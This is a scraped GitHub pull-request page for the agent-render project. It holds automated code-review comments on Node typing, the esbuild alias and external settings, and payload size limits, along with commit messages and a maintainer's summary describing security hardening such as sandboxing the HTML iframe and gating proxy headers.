- Around line 36-37: Before the public exports in
src/components/viewer/artifact-stage.tsx (lines 36-37),
src/components/viewer-shell.tsx (lines 200-203), and
src/components/home/link-creator.tsx (lines 16-18), add concise documentation
blocks for ArtifactStage, ViewerShell, and LinkCreator respectively; describe
ArtifactStage’s trustedPayload boundary for HTML artifacts, ViewerShell’s
setting and clearing of server-injected payload trust, and LinkCreator’s
client-side fragment generation plus unsupported choices authoring flow.
In `@src/lib/payload/schema.ts`:
- Around line 251-264: Add preceding /** ... */ documentation blocks for the
exported functions isPayloadEnvelope in src/lib/payload/schema.ts (lines
251-264), arx4PriorIdForEnvelope in src/lib/payload/arx4-codec.ts (lines
714-717), buildArx3Candidates in src/lib/payload/fragment-arx.ts (line 349), and
buildArx4Candidates in src/lib/payload/fragment-arx.ts (line 368). Document
isPayloadEnvelope’s structural validation of choices artifacts,
arx4PriorIdForEnvelope’s fallback behavior, and each candidate builder’s
exclusion of the tuple codec for unsupported artifact kinds.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 3e19408a-8d13-4e68-a213-4df046c1ba64
⛔ Files ignored due to path filters (1)
package-lock.jsonis excluded by!**/package-lock.json
📒 Files selected for processing (60)
README.mdcli/build.mjscli/package.jsoncli/src/cli.tscli/src/config.tscli/src/encoding.tscli/src/envelope.tscli/src/format.tscli/src/index.tscli/src/instance.tscli/src/kind.tscli/tests/config.test.tscli/tests/envelope.test.tscli/tests/format.test.tscli/tests/fragment.test.tscli/tests/instance.test.tscli/tests/kind.test.tscli/tsconfig.jsoncli/vitest.config.tsdocs/architecture.mddocs/deployment.mddocs/design-kit.mddocs/payload-format.mddocs/token-bench-report.mdpackage.jsonpublic/openapi/selfhosted-artifacts.yamlscripts/bench-tokens.mjsselfhosted/db.tsselfhosted/server.tsselfhosted/ttl.tsskills/agent-render-linking/SKILL.mdskills/selfhosted-agent-render/SKILL.mdsrc/app/globals.csssrc/app/kit.csssrc/components/artifact-kind-icons.tssrc/components/home/link-creator.tsxsrc/components/home/sample-link-data.tssrc/components/renderers/choices-renderer.tsxsrc/components/renderers/html-renderer.tsxsrc/components/viewer-shell.tsxsrc/components/viewer/artifact-stage.tsxsrc/lib/html/sanitize-kit-html.tssrc/lib/payload/arx-codec.tssrc/lib/payload/arx4-codec.tssrc/lib/payload/envelope.tssrc/lib/payload/examples.tssrc/lib/payload/fragment-arx.tssrc/lib/payload/link-creator.tssrc/lib/payload/schema.tssrc/lib/payload/wire-format.tstests/arx4-codec.test.tstests/components/artifact-selector.test.tsxtests/components/artifact-stage-raw.test.tsxtests/e2e/helpers.tstests/payload-new-kinds.test.tstests/sanitize-kit-html.test.tstests/selfhosted/auth.test.tstests/selfhosted/db.test.tstests/selfhosted/ttl.test.tstsconfig.json
| "engines": { | ||
| "node": ">=20" | ||
| }, | ||
| "scripts": { | ||
| "build": "node build.mjs", | ||
| "prepack": "npm run build", | ||
| "test": "vitest run", | ||
| "typecheck": "tsc --noEmit" | ||
| }, | ||
| "devDependencies": { | ||
| "@types/node": "^26.0.0", | ||
| "esbuild": "^0.27.3", | ||
| "typescript": "^5.8.2", | ||
| "vitest": "^4.1.9" | ||
| } |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🌐 Web query:
What is the current latest Node.js LTS version and what @types/node major version tracks it?
💡 Result:
As of July 31, 2026, the current latest Node.js Active LTS version is v24.18.1 (codenamed Krypton) [1][2][3]. The @types/node package typically tracks the major version of Node.js LTS releases [4]. As of the most recent updates in late July 2026, the @types/node package is at version 26.1.2 [5][6]. While @types/node versions often align with Node.js major versions, the DefinitelyTyped repository maintains separate type definitions (e.g., v24, v22) to accommodate the different LTS versions actively in use [7]. Users should install the version of @types/node that corresponds to the specific major version of Node.js they are using in their project [7].
Citations:
- 1: https://nodejs.org/en/blog/release/v24.18.1
- 2: https://github.com/nodejs/node/releases
- 3: https://github.com/nodejs/node/releases/tag/v24.18.1
- 4: https://stackoverflow.com/questions/78656581/types-node-is-two-major-versions-behind-node-js
- 5: https://registry.npmjs.org/@types/node
- 6: https://www.npmjs.com/package/@types/node
- 7: https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Package files:"
git ls-files | grep -E '(^|/)package\.json$|config\.ts$|tsconfig\.json$|vite\.config|vitest\.config' | sed 's#^\./##' | head -200
echo
echo "cli/package.json engines and deps/scripts:"
python3 - <<'PY'
import json, pathlib
p=pathlib.Path("cli/package.json")
data=json.loads(p.read_text())
for k in ["engines","scripts","devDependencies","dependencies","type"]:
print(f"{k}: {data.get(k)}")
PY
echo
echo "TypeScript config / Node version settings:"
for f in cli/tsconfig.json cli/tsconfig.*.json cli/vite.config.ts cli/vitest.config.ts; do
if [ -f "$f" ]; then
echo "--- $f"
cat -n "$f"
fi
done
echo
echo "Search for ts-node target/library/version hints:"
rg -n '"target"|"lib"|"types"|"moduleTarget"|"nodeVersion"|"typesVersions"|"`@types/node`"|engines\.node|nodeVersion' -S cli package.json pnpm-workspace.yaml package-lock.json pnpm-lock.yaml 2>/dev/null | head -300Repository: baanish/agent-render
Length of output: 2489
🌐 Web query:
@types/node major version Node 20 TypeScript target node22 lib set node20 support
💡 Result:
To configure your TypeScript project for Node.js 20 or 22, the following guidelines apply regarding @types/node versions, target settings, and library configurations. @types/node Versioning The major version of @types/node is intended to track the major version of Node.js itself [1][2]. For a project running on Node 20 or Node 22, you should install the corresponding major version of @types/node (e.g., @types/node@20 or @types/node@22) to ensure your type definitions match the APIs available in your target runtime [3][1]. TypeScript Target and Lib Settings According to the official TypeScript Node Target Mapping, the recommended compiler options for both Node 20 and Node 22 are identical [4][5]: { "compilerOptions": { "lib": ["ES2023"], "module": "nodenext", "target": "ES2023" } } Key Considerations: 1. Target/Lib: Using ES2023 as both the target and the lib provides a baseline that covers the ECMAScript features supported by these modern Node.js versions [4][5]. 2. Module Resolution: Setting module to nodenext is currently the standard recommendation to ensure correct module resolution for both CommonJS and ESM in modern Node environments [4][5]. 3. Future Updates: While some community-maintained @tsconfig/bases packages may differ slightly in their specific configurations, the Microsoft TypeScript wiki serves as the authoritative source for these mappings [4][6][5]. Note that TypeScript continues to evolve its Node support; watch for future minor updates to these configurations as new TypeScript versions are released [4][5][7].
Citations:
- 1: https://stackoverflow.com/questions/42035263/relationship-between-the-version-of-node-js-and-the-version-of-types-node
- 2: Are you able to easily tell which version of type package belongs to specific version of library? DefinitelyTyped/DefinitelyTyped#64848
- 3: [@types/node] Question on which version to use DefinitelyTyped/DefinitelyTyped#71349
- 4: https://github.com/microsoft/TypeScript/wiki/Node-Target-Mapping
- 5: https://github.com/microsoft/TypeScript-wiki/blob/756ece4f/Node-Target-Mapping.md
- 6:
@tsconfig/node20does not match Node Target Mapping wiki tsconfig/bases#308 - 7:
@tsconfig/node22/tsconfig.jsonuses the wrong module and moduleResolution!?! tsconfig/bases#279
Align @types/node with the supported Node baseline.
engines.node allows Node >=20, while @types/node is ^26.0.0. This makes tsc --noEmit valid against Node 26 APIs that newer Node LTSs add, so code that only runs in cli/src/**/*.ts or cli/tests/**/*.ts can type-check on Node 20-23 as supported but fail at runtime. Pin @types/node closer to the minimum supported Node version, or raise engines.node to the actual supported minimum.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@cli/package.json` around lines 13 - 27, Align the Node type definitions with
the supported runtime in the package.json engines and devDependencies entries:
replace `@types/node` ^26.0.0 with a version matching the Node 20 baseline, unless
the project intentionally raises engines.node to that actual minimum. Keep the
resulting TypeScript API surface consistent with the declared runtime support.
| await build({ | ||
| alias: { | ||
| "brotli-wasm": join(ROOT, "node_modules/brotli-wasm/index.node.js"), | ||
| }, | ||
| stdin: { | ||
| contents: [ | ||
| 'export { encodeEnvelope, getFragmentTransportLength, getVisibleFragmentLength } from "./src/lib/payload/fragment.ts";', | ||
| 'export { buildArxCandidates, buildArx2Candidates, buildArx3Candidates, buildArx4Candidates } from "./src/lib/payload/fragment-arx.ts";', | ||
| 'export { isBase1kEncoded, isBase64urlEncoded, isBaseBMPEncoded, loadArxDictionarySync, loadArx2OverlayDictionarySync } from "./src/lib/payload/arx-codec.ts";', | ||
| 'export { loadArx4PriorsSync } from "./src/lib/payload/arx4-codec.ts";', | ||
| ].join("\n"), | ||
| resolveDir: ROOT, | ||
| sourcefile: "token-bench-codec-bridge.ts", | ||
| }, | ||
| bundle: true, | ||
| external: [join(ROOT, "node_modules/brotli-wasm/index.node.js")], | ||
| format: "esm", | ||
| outfile: bridgePath, | ||
| platform: "node", | ||
| tsconfig: join(ROOT, "tsconfig.json"), |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🌐 Web query:
Does esbuild preserve the raw alias-resolved path verbatim for entries also listed in external, or does it re-derive the specifier some other way?
💡 Result:
Esbuild does not necessarily preserve the raw, pre-alias specifier when a module is marked as external. Instead, it performs path resolution (including applying aliases) before checking against the external configuration [1][2]. When esbuild encounters an import, it resolves the path (for example, applying configured aliases or resolving absolute paths) before it evaluates whether that path should be treated as external [1][2]. Consequently, if an alias is used to map a specifier to a specific file path, and that resulting path (or the original specifier) matches an entry in your external configuration, esbuild marks it as external [1][3]. Because the resolution happens before the external check, the import path that appears in your final bundle may be the resolved path (e.g., a relative file path) rather than the original alias-based specifier you wrote in your source code [4][3][5]. This behavior is a known point of friction for some users who expect their original alias strings to be preserved in the output [3][5]. If you need to preserve the exact original specifier for external modules, you typically cannot rely on standard alias resolution combined with the external flag alone. Instead, you may need to use an onResolve plugin to intercept the resolution process and force esbuild to treat the import as external while keeping the original path string intact [1][2][5].
Citations:
- 1: --packages=external does not work in conjunction with typescript path aliases evanw/esbuild#2792
- 2: https://esbuild.github.io/plugins/
- 3: Different behaviour between external path and external package evanw/esbuild#3638
- 4: ESM rewritten relative paths are wrong evanw/esbuild#2246
- 5: esbuild external issues evanw/esbuild#2789
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== locate bench script =="
fd -a 'bench-tokens\.mjs$' . || true
echo "== inspect scripts/bench-tokens.mjs =="
if [ -f scripts/bench-tokens.mjs ]; then
wc -l scripts/bench-tokens.mjs
cat -n scripts/bench-tokens.mjs
fi
echo "== package/runtime hints =="
for f in package.json tsconfig.json scripts/token-bench-codec-bridge.ts; do
if [ -f "$f" ]; then
echo "--- $f ---"
wc -l "$f"
sed -n '1,180p' "$f"
fi
done
echo "== search for brotli-wasm and codec bridge imports =="
rg -n '"brotli-wasm"|brotli-wasm|token-bench-codec-bridge|codec-bridge|mjs$|pathToFileURL|require\\(' scripts package.json .github 2>/dev/null || trueRepository: baanish/agent-render
Length of output: 25051
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== lockfile presence =="; ls -la package-lock.json npm-shrinkwrap.json 2>/dev/null || true
echo "== lockfile packages containing brotli-wasm =="
for f in package-lock.json npm-shrinkwrap.json; do
if [ -f "$f" ]; then
echo "--- $f ---"
python3 - <<'PY'
import json, pathlib
p=pathlib.Path("$1")
f=json.loads(p.read_text())
roots=f.get("packages", {}); deps=f.get("dependencies", {})
for k in sorted(set(chain=(*roots,))):
pass
PY
rg -n '"brotli-wasm"|brotli-wasm' "$f" || true
fi
done
echo "== all bench scripts =="
fd -a 'bench.*\.mjs$' scripts || true
for f in $(fd 'bench.*\.mjs$' scripts); do
echo "--- $f imports/aliases/external ---"
rg -n 'import |build\\(|external:|alias:|brotli-wasm|pathToFileURL|raw:|platform:' "$f" || true
done
echo "== inspect likely brotli-wasm package/module shape from installed module if present =="
if [ -d node_modules/brotli-wasm ]; then
echo "--- node_modules/brotli-wasm ---"
ls -l node_modules/brotli-wasm | head -20
fd . node_modules/brotli-wasm -t f -d 3 | sort | sed -n '1,120p'
echo "--- package.json ---"
if [ -f node_modules/brotli-wasm/package.json ]; then
jq . node_modules/brotli-wasm/package.json | sed -n '1,180p'
fi
else
echo "node_modules/brotli-wasm not installed"
fiRepository: baanish/agent-render
Length of output: 837
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== lockfile entries for brotli-wasm =="
python3 - <<'PY'
import json
from pathlib import Path
p=Path("package-lock.json")
data=json.loads(p.read_text())
packages=data.get("packages", {})
exports=[]
for name, meta in packages.items():
if name.endswith("node_modules/brotli-wasm") or "name" in meta and meta.get("name") == "brotli-wasm":
exports.append((name, meta.get("version"), meta))
for row in sorted(exports):
print("---", row[0], "version", row[1], "---")
print(json.dumps(row[2].get("files") or row[2] or {}, indent=2)[:8000])
PY
echo "== all bench scripts =="
fd 'bench.*\.mjs$' scripts | sort
while IFS= read -r f; do
echo "--- $f imports/aliases/external ---"
rg -n 'import |build\\(|external:|alias:|brotli-wasm|pathToFileURL|raw:|platform:' "$f" || true
done
echo "== inspect brotli-wasm package if installed =="
if [ -d node_modules/brotli-wasm ]; then
echo "--- node_modules/brotli-wasm ---"
ls -l node_modules/brotli-wasm | head -20
fd -a -t f . node_modules/brotli-wasm -d 5 | sort | sed -n '1,160p'
if [ -f node_modules/brotli-wasm/package.json ]; then
jq . node_modules/brotli-wasm/package.json | sed -n '1,220p'
fi
else
echo "node_modules/brotli-wasm not installed"
fiRepository: baanish/agent-render
Length of output: 3046
🌐 Web query:
esbuild external file URL platform node alias external behavior
💡 Result:
In esbuild, marking a module or file as external excludes it from the bundle, leaving the import or require statement intact to be resolved at runtime [1][2]. This behavior is fundamental to how esbuild handles modularity when you do not want code included in your final output [1][3]. Key behaviors and interactions regarding platforms, aliases, and external files include: Platform and Automatic Externals When you set --platform=node, esbuild automatically marks all built-in Node.js modules (e.g., fs, path) as external [1][3]. This prevents the bundler from attempting to bundle these core modules, which would fail or be inappropriate for a browser environment [1]. If you are targeting a browser environment, you are responsible for ensuring that any externalized dependencies are available as globals or via a runtime loader [4]. Alias Interaction Aliasing (via the alias API or tsconfig.json paths) is applied before determining whether a path should be marked external [5][6]. This means if you alias a path to a package or file, esbuild will resolve that alias first, and then check if the resulting path matches an external rule [5]. If you use the --packages=external flag, esbuild treats paths that look like packages (those not starting with./,../, or /) as external, but it respects tsconfig path remappings and subpath imports as exceptions that are applied first [3][6]. External File Handling The --external: flag accepts module names, file paths, or glob patterns [1][2]. When a file path is provided, esbuild will not process or bundle that file; instead, it preserves the reference to it [2]. Note that if you are looking to treat a file as an asset (like an image or CSS file) rather than a code module to be resolved by the runtime, you should use loaders (e.g., --loader:.png=file or --loader:.png=copy) instead of externalizing them [7]. Important Considerations - Preservation of Imports: Externalizing a module does not remove the import/require statement; it simply stops esbuild from analyzing and bundling the target [2][8]. If you are targeting a browser and externalize a Node-specific module, the resulting import will cause a runtime error unless you provide a polyfill or global binding [8][4]. - Format Constraints: When using --packages=external, be mindful of your output --format. Using --packages=external with --format=cjs can sometimes lead to issues if the external modules are ESM, as Node.js does not support requireing ESM modules [9]. - Troubleshooting: If --packages=external is too broad and interferes with your alias configurations, consider explicitly listing dependencies as external via the --external flag or a custom plugin rather than using the shorthand flag [5][10].
Citations:
- 1: https://esbuild.github.io/api/
- 2: Example of using
externalwith a filepath? evanw/esbuild#1649 - 3: https://esbuild.github.io/getting-started/
- 4: https://adhdecode.com/articles/esbuild/esbuild-externals-configuration/
- 5: --packages=external does not work in conjunction with typescript path aliases evanw/esbuild#2792
- 6: tsconfig
pathsare not transformed if not bundling evanw/esbuild#394 - 7: https://esbuild.github.io/content-types/
- 8: Add a flag that regulates whether
--externalpreserves the import or removes it evanw/esbuild#1616 - 9: https://dev.to/marcogrcr/nodejs-and-esbuild-beware-of-mixing-cjs-and-esm-493n
- 10: The module imported with the path alias specified in paths in tsconfig.json is not being bundled evanw/esbuild#3160
🌐 Web query:
esbuild 1616 external module imports preserved alias resolved path exact
💡 Result:
In esbuild, the handling of external module imports and alias resolution interacts in specific ways that often arise when using configurations like --packages=external or general --external flags [1][2][3]. Regarding the behavior of alias-resolved paths and external modules: 1. Alias Resolution Timing: Path aliases (configured via tsconfig.json 'paths' or the esbuild 'alias' API) are generally processed before esbuild determines if a module should be marked as external [1][2][3]. However, when using the --packages=external option, esbuild may classify paths as external based on whether they "look like" package imports (i.e., they do not start with./,../, or /), which can sometimes override or conflict with intended alias resolutions if the aliased path also matches this pattern [2][3][4]. 2. Preservation of Imports: When a module is marked as external, esbuild intentionally leaves the import statement in the generated code instead of bundling the module [5][6]. Esbuild does not remove or completely "omit" these imports by default [5]. 3. Path Rewriting: Users have frequently reported that esbuild rewrites external import paths to be relative (e.g.,../node_modules/...) [7][8]. This occurs because esbuild attempts to resolve the path during the build process [8]. There is no native flag to prevent this rewriting while keeping the module marked as external, but this is a known area of discussion, and some users work around it using custom plugins that intercept the resolution to force specific paths [1][7][8][9]. 4. Practical Workarounds: - Plugin Interception: If you need to preserve a specific alias-resolved path for an external module, you can write an onResolve plugin that identifies the import and manually returns the desired path with external: true [1]. - Manual External Definition: Instead of using --packages=external (which can be over-eager), users often explicitly define external modules using the --external flag for each specific package [4]. If you are encountering issues where aliases are not being respected for external modules, ensure your plugin or configuration is explicitly handling the path resolution before the final externalization decision is made by the esbuild internal resolver [1][9].
Citations:
- 1: --packages=external does not work in conjunction with typescript path aliases evanw/esbuild#2792
- 2: IsPackagePath does not consider aliases from tsconfig.json evanw/esbuild#3003
- 3: tsconfig
pathsare not transformed if not bundling evanw/esbuild#394 - 4: The module imported with the path alias specified in paths in tsconfig.json is not being bundled evanw/esbuild#3160
- 5: Add a flag that regulates whether
--externalpreserves the import or removes it evanw/esbuild#1616 - 6: https://esbuild.github.io/api/
- 7: esbuild external issues evanw/esbuild#2789
- 8: ESM rewritten relative paths are wrong evanw/esbuild#2246
- 9: external doesn't work with typescript's paths nor package's import evanw/esbuild#2803
🌐 Web query:
esbuild 1616 import "/tmp/alias/index.js" example output
💡 Result:
The query regarding esbuild issue 1616 refers to a feature request for a flag to regulate whether the --external option preserves or removes an import [1]. This issue was closed as "not planned," with the recommendation that such functionality be implemented via a plugin rather than built into esbuild itself [1]. Regarding the path /tmp/alias/index.js in the context of esbuild aliases: 1. Built-in Alias Support: Since version 0.15.16, esbuild has a built-in alias feature that allows you to substitute one package or path for another [2]. This is configured using the alias option in the esbuild build API [2][3]. 2. Example Output: If you have an alias set, such as mapping an import to /tmp/alias/index.js, esbuild will resolve the import path to that location during the bundling process [2][4]. For example, if you define an alias 'my-module': '/tmp/alias/index.js', an import statement like: import { something } from 'my-module'; Will be transformed during bundling so that the code from /tmp/alias/index.js is included in your output bundle in place of the original 'my-module' package [2][4]. The resulting bundle will contain the logic from that specific file, effectively replacing the dependency at build time [2]. If you are using the CLI, you can use the --alias flag (e.g., --alias:my-module=/tmp/alias/index.js) [2]. Note that when an import path is substituted using an alias, the resulting path is resolved relative to the working directory [2]. If you encounter issues where the import is not being bundled or resolved as expected, ensure you are using the --bundle flag [5].
Citations:
- 1: Add a flag that regulates whether
--externalpreserves the import or removes it evanw/esbuild#1616 - 2: https://github.com/evanw/esbuild/releases/tag/v0.15.16
- 3: Build-in support to create aliases to import or require modules would be very helpful evanw/esbuild#2191
- 4: https://www.npmjs.com/package/esbuild-plugin-alias
- 5: https://stackoverflow.com/questions/71837664/does-esbuild-provide-a-feature-like-the-resolve-alias-option-in-webpack
🌐 Web query:
esbuild alias external import original specifier output preserve raw path
💡 Result:
In esbuild, when you use the alias feature, the resolved path is typically used to identify the module, and the original specifier is replaced in the output [1][2]. Esbuild does not provide a built-in configuration to preserve the original raw alias specifier while simultaneously marking the module as external [1]. Because esbuild aims to produce a working bundle, its default behavior is to replace aliases with the actual resolved path, which often conflicts with the desire to keep imports "as-is" for external packages (e.g., node_modules or aliased paths meant to be resolved at runtime) [1][2]. To achieve the behavior of preserving an alias specifier while marking it as external, you generally need to implement a custom plugin using the onResolve hook [2][3]. A common strategy involves: 1. Using an onResolve plugin to catch the specific import specifier [2][3]. 2. Returning an object with external: true, which marks the module as external, and either omitting the path field or returning the original specifier (depending on your build requirements) [2][3]. 3. Manually handling the resolution logic within the plugin if you need to prevent esbuild from trying to resolve the aliased path to a file on disk [2]. For example, a basic plugin structure looks like this: build.onResolve({ filter: /^@my-alias// }, (args) => { return { path: args.path, // Preserves the raw import string external: true, // Marks it as external }; }); Alternatively, if you are struggling with TypeScript path aliases specifically, community plugins such as esbuild-plugin-tsconfig-paths [4] or others [5][6] are often used to rewrite these paths to relative imports during the build process, which serves as a workaround for maintaining portability without requiring runtime alias resolution [4]. Note that standard esbuild alias configurations are designed to resolve paths, not preserve them, so using a plugin is the recommended path for non-standard import handling [1][2].
Citations:
- 1: esbuild external issues evanw/esbuild#2789
- 2: --packages=external does not work in conjunction with typescript path aliases evanw/esbuild#2792
- 3: https://github.com/cloudflare/workers-sdk/blob/4c0da7be/packages/wrangler/src/deployment-bundle/esbuild-plugins/alias-external.ts
- 4: https://github.com/wjfei/esbuild-plugin-tsconfig-paths/
- 5: https://github.com/shaklain125/esbuild-alias-relative
- 6: https://github.com/ignwombat/esbuild-fix-imports
🌐 Web query:
esbuild external file path import output exact path alias node platform
💡 Result:
In esbuild, handling external paths, aliases, and platform-specific behavior is managed through specific configuration options and plugins. Platform Configuration When targeting Node.js, set the platform to 'node' [1][2]. This automatically marks all built-in Node.js modules (e.g., 'fs', 'path') as external, preventing them from being bundled [1]. Additionally, it enables the 'node' condition for package resolution, which typically prioritizes the exports field in package.json for Node-specific code [1]. Path Aliasing Esbuild does not have a native "alias" configuration option in its build API similar to Webpack's resolve.alias [3]. Instead, it handles aliasing through: 1. TypeScript Configuration: If you are using TypeScript, esbuild automatically respects the paths and baseUrl settings in your tsconfig.json to resolve module aliases [3][4]. 2. Plugins: For complex or dynamic aliasing, you must use a plugin that utilizes the onResolve hook [3][5]. Common community plugins, such as esbuild-plugin-alias-path, are frequently used for this purpose [3][5]. External File Handling The --external flag is used to exclude modules from the bundle [1][2]. - Behavior: When you mark a path as external, esbuild leaves the import statement as-is in the output code, preserving the path exactly as it appeared in the source (unless TypeScript paths remapping was applied) [6][7]. - Path Specificity: You can pass specific file paths or package names to --external [8]. - Packages=External: The --packages=external flag is a convenience option that marks all paths that "look like" package imports (paths not starting with.,.., or /) as external [7][4]. Note that this can override or conflict with other path resolution behaviors like tsconfig paths [7][4]. If you need to change the output path of an external module (e.g., remapping an absolute path to a relative one), esbuild does not provide a built-in "remap" feature for external imports [9]. This requirement typically necessitates custom logic within an onResolve plugin to intercept the resolution and return a modified path [6][8]. Top Results: [1], [3], [7], [4]
Citations:
- 1: https://esbuild.github.io/api/
- 2: https://cdn.jsdelivr.net/npm/alchemy@0.93.12/lib/esbuild/bundle.d.ts
- 3: https://stackoverflow.com/questions/71837664/does-esbuild-provide-a-feature-like-the-resolve-alias-option-in-webpack
- 4: tsconfig
pathsare not transformed if not bundling evanw/esbuild#394 - 5: https://www.npmjs.com/package/esbuild-plugin-alias-path
- 6: esbuild external issues evanw/esbuild#2789
- 7: --packages=external does not work in conjunction with typescript path aliases evanw/esbuild#2792
- 8: Example of using
externalwith a filepath? evanw/esbuild#1649 - 9: [Freature] Add support for remapping external modules evanw/esbuild#484
🌐 Web query:
esbuild alias external preserves raw alias specifier not resolved path
💡 Result:
Esbuild's native alias option and most common alias plugins operate by intercepting the module resolution process during bundling and replacing the alias specifier with a fully resolved absolute file path [1][2]. Because esbuild performs path resolution and substitution as part of the bundling phase, it typically does not "preserve" the raw alias specifier in the output; instead, it rewrites imports to point to the actual physical location of the file [1]. To achieve behavior where the raw alias specifier is preserved while still influencing resolution, you would generally need to avoid full resolution within the onResolve plugin hook or handle the path transformation differently. However, standard patterns for alias plugins intentionally resolve to an absolute path to ensure that subsequent loading phases (like onLoad) can correctly locate the file on disk [1]. If your goal is to keep the alias string in the output code (e.g., for downstream processing or to avoid rewriting imports), note the following: 1. Native Behavior: Esbuild's built-in alias configuration and standard plugins are designed to resolve aliases to absolute paths so that bundling works correctly [1][2]. 2. Limitations without Bundling: Esbuild does not resolve aliases if bundling is disabled (bundle: false) [3][4]. In this mode, esbuild transpiles individual files but does not perform the import path rewriting required to resolve aliases [3]. 3. Alternative Approaches: - External Modules: If you want to prevent esbuild from bundling a module (and thus avoid it resolving/replacing the path), you can mark the module as external [5]. This keeps the import statement intact in the output, though it does not resolve the alias to a local path. - Post-processing: If you require both the aliased path to be resolved for the build and the original specifier to remain in the generated output, you would typically need to rely on a secondary tool (such as tsc-alias) to rewrite the paths after the build, or perform manual transformation on the generated JavaScript files [3]. If you are writing a custom plugin, you can control the resolution process via the onResolve hook [6][1]. By returning an object with external: true, you can instruct esbuild to treat the import as external—preserving the specifier in the output code—without esbuild attempting to resolve or bundle the file [5].
Citations:
- 1: https://frontend-build-tooling.com/esbuild-turbopack-workflows/esbuild-plugin-patterns/
- 2: https://stackoverflow.com/questions/71837664/does-esbuild-provide-a-feature-like-the-resolve-alias-option-in-webpack
- 3: https://stackoverflow.com/questions/79586166/esbuild-resolving-paths-correctly-in-build-phase-but-does-not-update-import-path
- 4: https://aschaaf.net/posts/esbuild-aliases-only-work-when-bundling/
- 5: https://esbuild.github.io/api/
- 6: https://esbuild.github.io/plugins/
Use a package external for brotli-wasm.
The bridge only imports brotli-wasm through the "brotli-wasm" alias. Keep the alias as the package name and list the package name in external so the generated ESM import uses the same specifier instead of a platform-specific filesystem path that Node ESM cannot load from Windows paths.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@scripts/bench-tokens.mjs` around lines 19 - 38, Update the esbuild
configuration in the build call so the "brotli-wasm" alias remains the package
specifier and external contains "brotli-wasm" rather than the filesystem path
built with join(ROOT, ...). Keep the bridge’s generated ESM import using the
package name across platforms.
| export type HtmlArtifact = BaseArtifact & { | ||
| kind: "html"; | ||
| content: string; | ||
| }; | ||
|
|
||
| export type ChoiceOption = { | ||
| id: string; | ||
| label: string; | ||
| detail?: string; | ||
| }; | ||
|
|
||
| // Presentational multiple-choice bundle: the viewer renders stable option ids the reader answers | ||
| // with in chat ("do a, c, e"). Deliberately no response channel — the viewer stays static. | ||
| export type ChoicesArtifact = BaseArtifact & { | ||
| kind: "choices"; | ||
| prompt?: string; | ||
| multi?: boolean; | ||
| options: ChoiceOption[]; |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | 🏗️ Heavy lift
Reject oversized HTML and choices payloads before renderer mount.
isPayloadEnvelope accepts unrestricted html.content and choices.options. Server-injected payloads skip the fragment budget in src/components/viewer-shell.tsx, so a large stored payload can pass this guard and create an excessively large renderer workload.
Define limits for HTML content, option count, and option field lengths in the validation and normalization path. Return a clear normalization error. Add boundary tests for each limit.
As per coding guidelines, “Fail clearly on malformed or oversized payloads before renderer mount when possible.”
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/lib/payload/schema.ts` around lines 93 - 110, Update the payload
validation and normalization path used by isPayloadEnvelope to enforce explicit
limits for HtmlArtifact.content length, ChoicesArtifact.options count, and each
choice option’s id, label, and detail lengths. Reject values exceeding those
boundaries with a clear normalization error before renderer mount, while
preserving valid payload behavior, and add boundary tests covering each limit.
Source: Coding guidelines
Security review (grok, CodeRabbit, ChatGPT-Codex) on the new surfaces: - Trusted (server-injected) HTML rendered in an unsandboxed same-origin srcDoc iframe: full origin takeover. Now sandboxed with allow-scripts but not allow-same-origin, so scripts and forms still run while the document sits in an opaque origin, unable to reach the parent DOM, the auth cookie, or the artifact API. - Untrusted HTML went through dangerouslySetInnerHTML, so the sanitizer output was serialized and re-parsed (mutation-XSS surface). It now adopts the sanitized DOM nodes directly. Unknown tags are dropped wholesale (default-deny) instead of unwrapped, and hrefs are limited to https/mailto (no http downgrade, no bare-fragment shell-hash takeover). - The scrypt password check ran synchronously on the event loop, so an unauthenticated Bearer flood could stall the process. It is async now and rejects oversized candidates before the KDF. - X-Forwarded-Proto was trusted unconditionally, letting a client force the Secure cookie flag off; it is honored only when AGENT_RENDER_TRUST_PROXY=1. - Empty AGENT_RENDER_PASSWORD now disables the gate instead of enabling it with a blank secret. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Cap choices option count and text length in envelope validation:
server-injected payloads skip the fragment budget, so an unbounded
option list would otherwise mount an arbitrarily large DOM.
- CLI rejects an envelope over the decoded-payload budget before encode
or upload, so oversized input fails fast instead of a wasted round trip.
- OpenAPI marks GET /api/artifacts/{id} as authenticated (reads are
gated); README/self-hosted skill list the html and choices kinds and
the 7-day default TTL; CI now typechecks, tests, and builds the cli
workspace.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
Addressed the review pass (grok, CodeRabbit, ChatGPT-Codex, Greptile, CodeQL) in the last three commits. Security hardening
Robustness / coverage
Deliberately not changed (by design, documented):
The CodeQL default-setup check failing in ~7s is a repo config collision with the |
![kilo-code-bot[bot]](https://avatars.githubusercontent.com/in/2193792?s=60&v=4){kind=small}
| const encoded = await encodePayloadEnvelope(envelope); | ||
| assertFragmentBudget(encoded.fragmentBody); | ||
| url = createFragmentUrl(DEFAULT_VIEWER_URL, encoded.fragmentBody); | ||
| markdownUrl = createFragmentUrl(DEFAULT_VIEWER_URL, encoded.transportFragmentBody); |
There was a problem hiding this comment.
WARNING: The markdown/discord URL surface is never budget-checked
